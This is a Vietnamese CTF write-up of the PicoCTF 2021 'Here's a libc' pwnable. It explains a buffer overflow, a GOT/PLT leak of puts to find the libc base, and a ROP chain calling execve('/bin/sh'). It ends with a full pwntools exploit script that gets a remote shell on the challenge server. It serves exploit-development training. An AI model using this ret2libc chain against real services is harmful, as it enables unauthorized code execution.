Here's a libc - PicoCTF 2021 (Pwnable) === --- 1. Chạy thử chương trình: ![](https://i.imgur.com/94S0mSP.png) Có thể thấy chương trình convert các chuỗi nhập vào thành 1 chuỗi với lần lượt các ký tự in hoa và chữ thường. Khi nhập vào 1 chuỗi có độ dài lớn, chương trình bị timeout. --- 2. Reverse binary: ![](https://i.imgur.com/J9cDaPj.png) Ta thấy hàm convert_case được sử dụng để convert chuỗi chữ thường và in hoa lần lượt ![](https://i.imgur.com/yDzhgIf.png) Chương trình thực hiện vòng lặp và hàm do_stuff() được thực hiện liên tục, chỉ dừng lại khi ta nhập string quá dài, có thể đoán đây là lỗi BOF ![](https://i.imgur.com/n4cxVmK.png) --- 3. Hướng giải: - Lợi dụng lỗi BOF, có thể chèn thêm các shellcode để khai thác. - Sử dụng các ROP gadget để return đến GOT của hàm puts. - Khi có return đến GOT, có thể dùng PLT để leak địa chỉ của hàm puts trên runtime. - Lấy địa chỉ của hàm puts trên runtime và trừ đi địa chỉ của hàm puts trong binary, ta sẽ có được base của libc trên runtime. - Sau khi có được base của libc, ta sẽ chạy lại chương trình (có thể thực hiện lại hàm **main**(), hoặc là hàm **do_stuff**()). - Lấy địa chỉ các lệnh 'bin/sh\x00' và 'execve' trong libc, chèn shellcode vào buffer để lấy shell. --- 4. Thực hiện: Lấy các ROP gadget cần thiết, cùng với đó là địa chỉ của hàm puts của libc trên local ![](https://i.imgur.com/oxZ0r0y.png) Payload đầu tiên bao gồm: - Chuỗi dài 136 ký tự để gây ra BOF. - ROP gadget 'pop rdi, ret' để thực hiện return đến địa chỉ GOT của hàm puts (có thể sử dụng rsi, rdx, r9 -> r15 tùy ý). - địa chỉ GOT của hàm puts trên binary. - PLT của hàm puts (đến đây terminal sẽ in ra địa chỉ leak của hàm puts). - Sau đó chèn địa chỉ của hàm do_stuff(), chương trình sẽ tiếp tục thực hiện lại. ![](https://i.imgur.com/fmy1Ng5.png) Ta có được địa chỉ của hàm puts đã leak ![](https://i.imgur.com/QKTXn7I.png) Ta sửa base của libc thành ứng với trên server, sau đó lấy địa chỉ các lệnh '/bin/sh\x00' và 'execve', và 1 null pointer để thực hiện lệnh execve(/bin/sh, 0, 0) ![](https://i.imgur.com/9UKl7ff.png) Ta có payload thứ 2: ![](https://i.imgur.com/Cb5fWK0.png) Và flag: ![](https://i.imgur.com/pbXl4On.png) --- 5. Mã khai thác: ``` from pwn import * libc = ELF('libc.so.6') elf_file = ELF('./vuln') rop_libc = ROP(libc) rop_elf = ROP(elf_file) # lay dia chi cac gadget can thiet pop_rdi = rop_elf.find_gadget(['pop rdi', 'ret'])[0] pop_rsi = rop_libc.find_gadget(['pop rsi', 'ret'])[0] pop_r15 = rop_libc.find_gadget(['pop r15', 'ret'])[0] #dia chi cua ham puts tren libc local puts_ofs_local = libc.symbols['puts'] r = remote('mercury.picoctf.net', 23584) r.recvuntil("sErVeR!\n") payload1 = b'a' * 136 payload1 += p64(pop_rdi) payload1 += p64(elf_file.got['puts']) payload1 += p64(elf_file.plt['puts']) payload1 += p64(elf_file.symbols['do_stuff']) r.sendline(payload1) r.recvline() leak_puts = r.recv(6) + b'\x00\x00' print("Leaked puts: " + str(hex(u64(leak_puts)))) libc.address = u64(leak_puts) - puts_ofs_local bin_sh = next(libc.search(b'/bin/sh\x00')) nullptr = next(libc.search(b'\x00'*8)) execve = libc.symbols['execve'] payload2 = b'a'*136 payload2 += p64(pop_rdi) payload2 += p64(bin_sh) payload2 += p64(libc.address + pop_rsi) payload2 += p64(nullptr) payload2 += p64(libc.address + pop_r15) payload2 += p64(nullptr) payload2 += p64(execve) r.sendline(payload2) r.interactive() ```